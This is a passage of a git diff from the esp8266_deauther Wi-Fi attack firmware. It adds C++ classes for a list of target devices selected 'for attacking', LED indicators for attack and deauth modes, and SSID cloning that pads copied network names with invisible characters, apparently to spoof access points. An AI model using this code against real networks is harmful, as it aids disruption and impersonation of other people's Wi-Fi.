return binSearch(mac, 0, list->size() - 1);
}
String Names::find(uint8_t* mac) {
int num = findID(mac);
if (num >= 0)
return getName(num);
else
return String();
}
void Names::print(int num) {
print(num, true, true);
}
void Names::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(N_TABLE_HEADER);
prntln(N_TABLE_DIVIDER);
}
prnt(buildString(String(), (String)num, 2));
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
prnt(buildString(String(SPACE) + getName(num), String(), 17));
prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18));
prnt(buildString(String(SPACE), (String)getCh(num), 3));
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer)
prntln(N_TABLE_DIVIDER);
}
void Names::printAll() {
prntln(N_HEADER);
if (list->size() == 0)
prntln(N_ERROR_LIST_EMPTY);
else
for (int i = 0; i < list->size(); i++)
print(i, i == 0, i == list->size() - 1);
}
void Names::printSelected() {
prntln(N_TABLE_HEADER);
int max = selected();
if (max == 0) {
prntln(N_ERROR_NO_SELECTED);
return;
}
for (int i = 0, j = 0; i < list->size() && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
if (list->size() >= NAME_LIST_SIZE) {
if (force)
internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
}
}
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
internal_add(mac, name, bssid, ch, selected);
sort();
prnt(N_ADDED);
prntln(name);
changed = true;
}
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
if (list->size() >= NAME_LIST_SIZE) {
if (force)
internal_remove(0);
else {
prntln(N_ERROR_LIST_FULL);
return;
}
}
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_ADDED);
prntln(name);
changed = true;
}
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected){
if (!check(num)) return;
remove(num);
internal_add(macStr, name, bssidStr, ch, selected);
sort();
prnt(N_REPLACED);
prntln(name);
changed = true;
}
void Names::remove(int num) {
if (!check(num)) return;
prnt(N_REMOVED);
prntln(getName(num));
internal_remove(num);
changed = true;
}
void Names::setName(int num, String name) {
if (!check(num)) return;
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_NAME);
internal_remove(num);
sort();
changed = true;
}
void Names::setMac(int num, String macStr) {
if (!check(num)) return;
uint8_t mac[6];
strToMac(macStr, mac);
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
prntln(N_CHANGED_MAC);
internal_remove(num);
sort();
changed = true;
}
void Names::setCh(int num, uint8_t ch) {
if (!check(num)) return;
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
prntln(N_CHANGED_CH);
internal_remove(num);
sort();
changed = true;
}
void Names::setBSSID(int num, String bssidStr) {
if (!check(num)) return;
uint8_t mac[6];
strToMac(bssidStr, mac);
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
prntln(N_CHANGED_BSSID);
internal_remove(num);
sort();
changed = true;
}
void Names::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(N_SELECTED);
prntln(getName(num));
changed = true;
}
void Names::select(String name) {
for (int i = 0; i < list->size(); i++) {
if (getName(i).equals(name)) {
select(i);
return;
}
}
prnt(N_ERROR_NOT_FOUND);
prntln(name);
}
void Names::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(N_DESELECTED);
prntln(getName(num));
changed = true;
}
void Names::deselect(String name) {
for (int i = 0; i < list->size(); i++) {
if (getName(i).equals(name)) {
deselect(i);
return;
}
}
prnt(N_ERROR_NOT_FOUND);
prnt(name);
}
void Names::selectAll() {
for (int i = 0; i < list->size(); i++)
internal_select(i);
prntln(N_SELECTED_ALL);
}
void Names::deselectAll() {
for (int i = 0; i < list->size(); i++)
internal_deselect(i);
prntln(N_DESELECTED_ALL);
}
uint8_t* Names::getMac(int num) {
if (!check(num)) return NULL;
return list->get(num).mac;
}
uint8_t* Names::getBssid(int num) {
if (!check(num)) return NULL;
return list->get(num).apBssid;
}
String Names::getMacStr(int num) {
String value;
if (check(num)) {
uint8_t* mac = getMac(num);
for (int i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += ZERO;
value += String(mac[i], HEX);
if (i < 5) value += DOUBLEPOINT;
}
}
return value;
}
String Names::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
}
String Names::getBssidStr(int num) {
String value;
if (getBssid(num) != NULL) {
uint8_t* mac = getBssid(num);
for (int i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += ZERO;
value += String(mac[i], HEX);
if (i < 5) value += DOUBLEPOINT;
}
}
return value;
}
String Names::getName(int num) {
if (!check(num)) return String();
return String(list->get(num).name);
}
String Names::getSelectedStr(int num) {
return b2a(getSelected(num));
}
uint8_t Names::getCh(int num) {
if (!check(num)) return 1;
return list->get(num).ch;
}
bool Names::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
}
bool Names::isStation(int num) {
return getBssid(num) != NULL;
}
int Names::count() {
return list->size();
}
int Names::selected() {
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
bool Names::internal_check(int num) {
return num >= 0 && num < list->size();
}
void Names::internal_select(int num) {
Device newDevice = list->get(num);
newDevice.selected = true;
list->set(num, newDevice);
}
void Names::internal_deselect(int num) {
Device newDevice = list->get(num);
newDevice.selected = false;
list->set(num, newDevice);
}
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
uint8_t* deviceMac = (uint8_t*)malloc(6);
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
char* deviceName = (char*)malloc(name.length() + 1);
uint8_t* deviceBssid = NULL;
name = fixUtf8(name);
memcpy(deviceMac, mac, 6);
strcpy(deviceName, name.c_str());
if (bssid) {
deviceBssid = (uint8_t*)malloc(6);
memcpy(deviceBssid, bssid, 6);
}
if (ch < 1 || ch > 14) ch = 1;
Device newDevice;
newDevice.mac = deviceMac;
newDevice.name = deviceName;
newDevice.apBssid = deviceBssid;
newDevice.ch = ch;
newDevice.selected = selected;
list->add(newDevice);
}
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
uint8_t mac[6];
if (!strToMac(macStr, mac)) return;
if (bssidStr.length() == 17) {
uint8_t bssid[6];
strToMac(bssidStr, bssid);
internal_add(mac, name, bssid, ch, selected);
} else {
internal_add(mac, name, NULL, ch, selected);
}
}
void Names::internal_remove(int num) {
free(list->get(num).mac);
free(list->get(num).name);
if (list->get(num).apBssid) free(list->get(num).apBssid);
list->remove(num);
}
void Names::internal_removeAll() {
for (int i = 0; i < list->size(); i++) {
free(list->get(i).mac);
free(list->get(i).name);
if (list->get(i).apBssid) free(list->get(i).apBssid);
}
list->clear();
}

100
esp8266_deauther/Names.h Normal file
View File

@ -0,0 +1,100 @@
#ifndef Names_h
#define Names_h
#include "Arduino.h"
#include "FS.h"
#include <ArduinoJson.h>
#include "LinkedList.h"
#include "language.h"
#define NAME_LIST_SIZE 25
#define NAME_MAX_LENGTH 16
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
extern bool writeFile(String path, String &buf);
extern bool appendFile(String path, String &buf);
extern bool strToMac(String macStr, uint8_t* mac);
extern String searchVendor(uint8_t* mac);
extern String fixUtf8(String str);
extern String buildString(String left, String right, int maxLen);
extern String escape(String str);
class Names {
public:
Names();
void load();
void load(String filepath);
void save(bool force);
void save(bool force,String filepath);
void sort();
String find(uint8_t* mac);
int findID(uint8_t* mac);
void print(int num);
void print(int num, bool header, bool footer);
void select(int num);
void select(String name);
void deselect(int num);
void deselect(String name);
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void remove(int num);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
uint8_t* getMac(int num);
uint8_t* getBssid(int num);
String getMacStr(int num);
String getBssidStr(int num);
String getName(int num);
String getVendorStr(int num);
String getSelectedStr(int num);
uint8_t getCh(int num);
bool getSelected(int num);
bool isStation(int num);
void setName(int num, String name);
void setMac(int num, String macStr);
void setCh(int num, uint8_t ch);
void setBSSID(int num, String bssidStr);
int count();
int selected();
bool check(int num);
private:
String FILE_PATH = "/names.json";
bool changed = false;
struct Device{
uint8_t* mac; // mac address
char* name; // name of saved device
uint8_t* apBssid; // mac address of AP (if saved device is a station)
uint8_t ch; // Wi-Fi channel of Device
bool selected; // select for attacking
};
LinkedList<Device>* list;
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
void internal_remove(int num);
void internal_removeAll();
};
#endif

View File

@ -0,0 +1,110 @@
#include "Neopixel.h"
Neopixel::Neopixel() {
}
// setup pins
void Neopixel::setup(){
if(!settings.getLedEnabled()) return;
// ===== adjustable ===== //
strip.setBrightness(100);
strip.begin();
strip.show();
// ====================== //
setMode(LED_MODE_OFF, true);
}
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
prnt(String(s));
}
// ===== adjustable ===== //
if (brightness > 0 && brightness < 100) {
if (r > 0 && brightness < 100) r = r * brightness / 100;
if (g > 0 && brightness < 100) g = g * brightness / 100;
if (b > 0 && brightness < 100) b = b * brightness / 100;
}
for(uint16_t i=0;i<LED_NEOPIXEL_NUM;i++){
strip.setPixelColor(i,strip.Color(r,g,b,brightness));
}
strip.show();
// ====================== //
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
prnt(String(s));
}
}
// customize color codes for different LED modes
void Neopixel::setMode(uint8_t mode, bool force) {
// ===== adjustable ===== //
if (mode != Neopixel::mode || force) {
Neopixel::mode = mode;
switch (mode) {
case LED_MODE_OFF:
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_SCAN:
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_ATTACK:
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_DEAUTH:
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_IDLE:
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
}
}
// ====================== //
}
void Neopixel::tempEnable() {
tempEnabled = true;
prntln(L_ENABLED);
}
void Neopixel::tempDisable() {
tempEnabled = false;
prntln(L_DISABLED);
}
bool Neopixel::getTempEnabled() {
return tempEnabled;
}
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b) {
setColor(r, g, b, 100, true);
}
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
setColor(r, g, b, brightness, true);
}
void Neopixel::update() {
if (!tempEnabled) return;
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
else setMode(LED_MODE_IDLE, false);
}

View File

@ -0,0 +1,47 @@
#ifndef Neopixel_h
#define Neopixel_h
#include "Arduino.h"
#include "Settings.h"
#include "Attack.h"
#include "Scan.h"
#include "language.h"
#include <Adafruit_NeoPixel.h>
#include "A_config.h"
#define LED_MODE_OFF 0
#define LED_MODE_SCAN 1
#define LED_MODE_ATTACK 2
#define LED_MODE_DEAUTH 3
#define LED_MODE_IDLE 4
extern Settings settings;
extern Attack attack;
extern Scan scan;
extern Stations stations;
class Neopixel {
public:
Neopixel();
void setup();
void setColor(uint8_t r, uint8_t g, uint8_t b);
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
void setMode(uint8_t mode, bool force);
void update();
void tempEnable();
void tempDisable();
bool getTempEnabled();
private:
// ===== adjustable ===== //
Adafruit_NeoPixel strip = LED_NEOPIXEL;
// ======================= //
uint8_t mode;
bool tempEnabled = true;
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
};
#endif

115
esp8266_deauther/RGBLed.cpp Normal file
View File

@ -0,0 +1,115 @@
#include "RGBLed.h"
RGBLed::RGBLed() {
}
// setup pins
void RGBLed::setup(){
if(!settings.getLedEnabled()) return;
// ===== adjustable ===== //
pinMode(LED_PIN_R, OUTPUT);
pinMode(LED_PIN_G, OUTPUT);
pinMode(LED_PIN_B, OUTPUT);
// ====================== //
setMode(LED_MODE_OFF, true);
}
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
prnt(String(s));
}
// ===== adjustable ===== //
if (brightness > 0 && brightness < 100) {
if (r > 0 && brightness < 100) r = r * brightness / 100;
if (g > 0 && brightness < 100) g = g * brightness / 100;
if (b > 0 && brightness < 100) b = b * brightness / 100;
}
if (!LED_CATHODE) {
r = 255 - r;
g = 255 - g;
b = 255 - b;
}
analogWrite(LED_PIN_R, r);
analogWrite(LED_PIN_G, g);
analogWrite(LED_PIN_B, b);
// ====================== //
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
prnt(String(s));
}
}
// customize color codes for different LED modes
void RGBLed::setMode(uint8_t mode, bool force) {
// ===== adjustable ===== //
if (mode != RGBLed::mode || force) {
RGBLed::mode = mode;
switch (mode) {
case LED_MODE_OFF:
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_SCAN:
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_ATTACK:
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_DEAUTH:
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
break;
case LED_MODE_IDLE:
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
break;
}
}
// ====================== //
}
void RGBLed::tempEnable() {
tempEnabled = true;
prntln(L_ENABLED);
}
void RGBLed::tempDisable() {
tempEnabled = false;
prntln(L_DISABLED);
}
bool RGBLed::getTempEnabled() {
return tempEnabled;
}
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
setColor(r, g, b, 100, true);
}
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
setColor(r, g, b, brightness, true);
}
void RGBLed::update() {
if (!tempEnabled) return;
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
else setMode(LED_MODE_IDLE, false);
}

42
esp8266_deauther/RGBLed.h Normal file
View File

@ -0,0 +1,42 @@
#ifndef RGBLed_h
#define RGBLed_h
#include "Arduino.h"
#include "Settings.h"
#include "Attack.h"
#include "Scan.h"
#include "language.h"
#include "A_config.h"
#define LED_MODE_OFF 0
#define LED_MODE_SCAN 1
#define LED_MODE_ATTACK 2
#define LED_MODE_DEAUTH 3
#define LED_MODE_IDLE 4
extern Settings settings;
extern Attack attack;
extern Scan scan;
extern Stations stations;
class RGBLed {
public:
RGBLed();
void setup();
void setColor(uint8_t r, uint8_t g, uint8_t b);
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
void setMode(uint8_t mode, bool force);
void update();
void tempEnable();
void tempDisable();
bool getTempEnabled();
private:
uint8_t mode;
bool tempEnabled = true;
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
};
#endif

View File

@ -1,108 +0,0 @@
#include "SSIDList.h"
SSIDList::SSIDList() {
if (listAdr + SSIDListLength * SSIDLength > 4096) Serial.println("WARNING: EEPROM overflow!");
}
void SSIDList::load() {
len = EEPROM.read(lenAdr);
if ( len < 0 || len > SSIDListLength) {
clear();
save();
}
for (int i = 0; i < len; i++) {
for (int h = 0; h < SSIDLength; h++) {
char _nextChar = EEPROM.read(listAdr + (i * SSIDLength) + h);
names[i][h] = _nextChar;
}
encrypted[i] = EEPROM.read(encAdr + i);
}
}
void SSIDList::clear() {
len = 0;
}
void SSIDList::add(String name, bool enc) {
if (len < SSIDListLength) {
for (int i = 0; i < SSIDLength; i++) {
if (i < name.length()) names[len][i] = name[i];
else names[len][i] = 0x00;
}
encrypted[len] = enc;
len++;
}
}
void SSIDList::addClone(String name, int num, bool enc) {
int _restSSIDLen = SSIDLength - name.length();
String _apName;
for (int c = 0; c < SSIDListLength && c < num; c++) {
_apName = name;
if (c < _restSSIDLen){
for (int d = 0; d < _restSSIDLen - c; d++) _apName += " "; //e.g. "SAMPLEAP "
} else if (c < _restSSIDLen * 2) {
//_apName = " " + _apName;
_apName = "\u200B"+_apName;
for (int d = 0; d < (_restSSIDLen - 3) - c / 2; d++) _apName += " "; //e.g. "SAMPLEAP " (zero widtdh char at the beginning)
} else if (c < _restSSIDLen * 3) {
_apName = "." + _apName;
for (int d = 0; d < (_restSSIDLen - 1) - c / 3; d++) _apName += " "; //e.g. ".SAMPLEAP "
} else {
for (int d = 0; d < _restSSIDLen - 2; d++) _apName += " ";
_apName += (String)c;//e.g. "SAMPLEAP 78"
}
add(_apName, enc);
}
}
String SSIDList::get(int num) {
String _name = "";
for (int i = 0; i < SSIDLength; i++) {
if (names[num][i] != 0x00) _name += names[num][i];
}
return _name;
}
bool SSIDList::isEncrypted(int num){
return encrypted[num];
}
void SSIDList::remove(int num) {
if (num >= 0 && num < len) {
for (int i = num; i < len - 1; i++) {
for (int h = 0; h < SSIDLength; h++) {
names[i][h] = names[i + 1][h];
}
encrypted[i] = encrypted[i + 1];
}
len--;
}
}
void SSIDList::save() {
if (debug) Serial.print("saving SSIDList...");
EEPROM.write(lenAdr, len);
for (int i = 0; i < len; i++) {
for (int h = 0; h < SSIDLength; h++) {
EEPROM.write(listAdr + (i * SSIDLength) + h, names[i][h]);
}
EEPROM.write(encAdr + i, encrypted[i]);
}
EEPROM.commit();
if (debug) Serial.println("done");
}
void SSIDList::_random() {
String _rName;
for (int i = len; i < SSIDListLength; i++) {
_rName = "";
for (int h = 0; h < SSIDLength; h++) _rName += letters[random(0, sizeof(letters))];
add(_rName, random(2) > 0.5 );
}
}

View File

@ -1,39 +0,0 @@
#ifndef SSIDList_h
#define SSIDList_h
#include <EEPROM.h>
#include "Mac.h"
#include "MacList.h"
#define listAdr 2048
#define lenAdr 2047
#define encAdr 3585
#define SSIDListLength 48
#define SSIDLength 32
extern const bool debug;
class SSIDList
{
public:
SSIDList();
void load();
void clear();
void add(String name, bool enc);
void addClone(String name, int num, bool enc);
void edit(int num, String name);
String get(int num);
bool isEncrypted(int num);
void remove(int num);
void _random();
void save();
int len = 0;
private:
char letters[67] = {0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x20, 0x2c, 0x2e, 0x2d, 0x5f};
char names[SSIDListLength][SSIDLength];
bool encrypted[SSIDListLength];
};
#endif

301
esp8266_deauther/SSIDs.cpp Normal file
View File

@ -0,0 +1,301 @@
#include "SSIDs.h"
SSIDs::SSIDs() {
list = new LinkedList<SSID>;
}
void SSIDs::load() {
internal_removeAll();
DynamicJsonBuffer jsonBuffer(4000);
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
JsonObject &obj = parseJSONFile(FILE_PATH, jsonBuffer);
JsonArray &arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
for (int i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
JsonArray &tmpArray = arr.get<JsonVariant>(i);
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
}
prnt(SS_LOADED);
prntln(FILE_PATH);
}
void SSIDs::load(String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void SSIDs::removeAll() {
internal_removeAll();
prntln(SS_CLEARED);
changed = true;
}
void SSIDs::save(bool force) {
if (!force && !changed) return;
String buf = String(); // create buffer
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // "ssids":[
if (!writeFile(FILE_PATH, buf)) {
prnt(SS_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
String name;
int size = list->size();
for (int i = 0; i < size; i++) {
name = escape(getName(i));
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
buf += b2s(getWPA2(i)) + String(COMMA); // false,
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
if(i<size-1) buf += COMMA; // ,
if(buf.length() >= 1024){
if (!appendFile(FILE_PATH, buf)) {
prnt(SS_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if (!appendFile(FILE_PATH, buf)) {
prnt(SS_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
prnt(SS_SAVED_IN);
prntln(FILE_PATH);
changed = false;
}
void SSIDs::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void SSIDs::update() {
if (randomMode) {
if (currentTime - randomTime > randomInterval*1000) {
prntln(SS_RANDOM_INFO);
for (int i = 0; i < SSID_LIST_SIZE; i++) {
SSID newSSID;
if (check(i)) newSSID = list->get(i);
newSSID.name = String();
newSSID.len = 32;
for (int i = 0; i < 32; i++)
newSSID.name += char(random(32, 127));
newSSID.wpa2 = random(0, 2);
if (check(i)) list->set(i, newSSID);
else list->add(newSSID);
}
randomTime = currentTime;
changed = true;
}
}
}
String SSIDs::getName(int num) {
return check(num) ? list->get(num).name : String();
}
bool SSIDs::getWPA2(int num) {
return check(num) ? list->get(num).wpa2 : false;
}
int SSIDs::getLen(int num){
return check(num) ? list->get(num).len : 0;
}
void SSIDs::setWPA2(int num, bool wpa2) {
SSID newSSID = list->get(num);
newSSID.wpa2 = wpa2;
list->set(num, newSSID);
}
String SSIDs::getEncStr(int num) {
if (getWPA2(num)) return "WPA2";
else return "-";
}
void SSIDs::remove(int num) {
if (!check(num)) return;
internal_remove(num);
prnt(SS_REMOVED);
prntln(getName(num));
changed = true;
}
String SSIDs::randomize(String name) {
int ssidlen = name.length();
if (ssidlen > 32) name = name.substring(0, 32);
if (ssidlen < 32) {
for (int i = ssidlen; i < 32; i++) {
int rnd = random(3);
if (i < 29 && rnd == 0) { // ZERO WIDTH SPACE
name += char(0xE2);
name += char(0x80);
name += char(0x8B);
i += 2;
} else if (i < 30 && rnd == 1) { // NO-BREAK SPACE
name += char(0xC2);
name += char(0xA0);
i += 1;
} else {
name += char(0x20); // SPACE
}
}
}
return name;
}
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
if (list->size() >= SSID_LIST_SIZE) {
if (force) {
internal_remove(0);
} else {
prntln(SS_ERROR_FULL);
return;
}
}
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
for (int i = 0; i < clones; i++) {
internal_add(name, wpa2, name.length());
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
}
prnt(SS_ADDED);
prntln(name);
changed = true;
}
void SSIDs::cloneSelected(bool force){
if(accesspoints.selected() > 0){
int clones = SSID_LIST_SIZE;
if(!force) clones -= list->size();
clones /= accesspoints.selected();
int apCount = accesspoints.count();
for(int i=0;i<apCount;i++){
if(accesspoints.getSelected(i))
add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
}
}
}
bool SSIDs::getRandom(){
return randomMode;
}
void SSIDs::replace(int num, String name, bool wpa2){
if(!check(num)) return;
int len = name.length();
if(len > 32) len = 32;
list->set(num,SSID{randomize(name),wpa2,(uint8_t)len});
prnt(SS_REPLACED);
prntln(name);
changed = true;
}
void SSIDs::print(int num) {
print(num, true, false);
}
void SSIDs::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(SS_TABLE_HEADER);
prntln(SS_TABLE_DIVIDER);
}
prnt(buildString(String(), (String)num, 2));
prnt(buildString(String(SPACE), getEncStr(num), 5));
prntln(buildString(String(SPACE) + getName(num), String(), 33));
if (footer) prntln(SS_TABLE_DIVIDER);
}
void SSIDs::printAll() {
prntln(SS_HEADER);
if (list->size() == 0)
prntln(SS_ERROR_EMPTY);
else
for (int i = 0; i < list->size(); i++)
print(i, i == 0, i == list->size() - 1);
}
int SSIDs::count() {
return list->size();
}
bool SSIDs::check(int num) {
return num >= 0 && num < list->size();
}
void SSIDs::enableRandom(uint32_t randomInterval) {
randomMode = true;
SSIDs::randomInterval = randomInterval;
prntln(SS_RANDOM_ENABLED);
update();
}
void SSIDs::disableRandom() {
randomMode = false;
internal_removeAll();
prntln(SS_RANDOM_DISABLED);
}
void SSIDs::internal_add(String name, bool wpa2, int len) {
if(len > 32) {
name = name.substring(0,32);
len = 32;
} else if (len < 32) {
name = randomize(name);
}
name = fixUtf8(name);
SSID newSSID;
newSSID.name = name;
newSSID.wpa2 = wpa2;
newSSID.len = (uint8_t)len;
list->add(newSSID);
}
void SSIDs::internal_remove(int num) {
list->remove(num);
}
void SSIDs::internal_removeAll() {
list->clear();
}

85
esp8266_deauther/SSIDs.h Normal file
View File

@ -0,0 +1,85 @@
#ifndef SSIDs_h
#define SSIDs_h
#include "Arduino.h"
#include "FS.h"
#include <ArduinoJson.h>
#include "LinkedList.h"
#include "Settings.h"
#include "language.h"
#include "Accesspoints.h"
#define SSID_LIST_SIZE 60
extern Settings settings;
extern uint32_t currentTime;
extern Accesspoints accesspoints;
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
extern bool appendFile(String path, String &buf);
extern bool writeFile(String path, String &buf);
extern void readFileToSerial(String path);
extern String fixUtf8(String str);
extern String buildString(String left, String right, int maxLen);
extern String escape(String str);
class SSIDs {
public:
SSIDs();
void load();
void load(String filepath);
void save(bool force);
void save(bool force, String filepath);
void update();
void print(int num);
void print(int num, bool header, bool footer);
void add(String name, bool wpa2, int clones, bool force);
void cloneSelected(bool force);
void remove(int num);
void enableRandom(uint32_t randomInterval);
void disableRandom();
bool getRandom();
String getName(int num);
bool getWPA2(int num);
String getEncStr(int num);
int getLen(int num);
void setWPA2(int num, bool wpa2);
void replace(int num, String name, bool wpa2);
void printAll();
void removeAll();
int count();
private:
bool changed = false;
bool randomMode = false;
uint32_t randomInterval = 2000;
uint32_t randomTime = 0;
struct SSID{
String name; // SSID
bool wpa2; // WPA2 encrypted or not
uint8_t len; // original length (before editing it to be 32 characters)
};
String FILE_PATH = "/ssids.json";
LinkedList<SSID>* list;
bool check(int num);
String randomize(String name);
void internal_add(String name, bool wpa2, int add);
void internal_remove(int num);
void internal_removeAll();
};
#endif

398
esp8266_deauther/Scan.cpp Normal file
View File

@ -0,0 +1,398 @@
#include "Scan.h"
Scan::Scan() {
list = new LinkedList<uint16_t>;
}
void Scan::sniffer(uint8_t* buf, uint16_t len) {
if (!isSniffing()) return;
packets++;
if (len < 28) return; // drop frames that are too short to have a valid MAC header
if (buf[12] == 0xc0 || buf[12] == 0xa0) {
tmpDeauths++;
return;
}
// drop beacon frames, probe requests/responses and deauth/disassociation frames
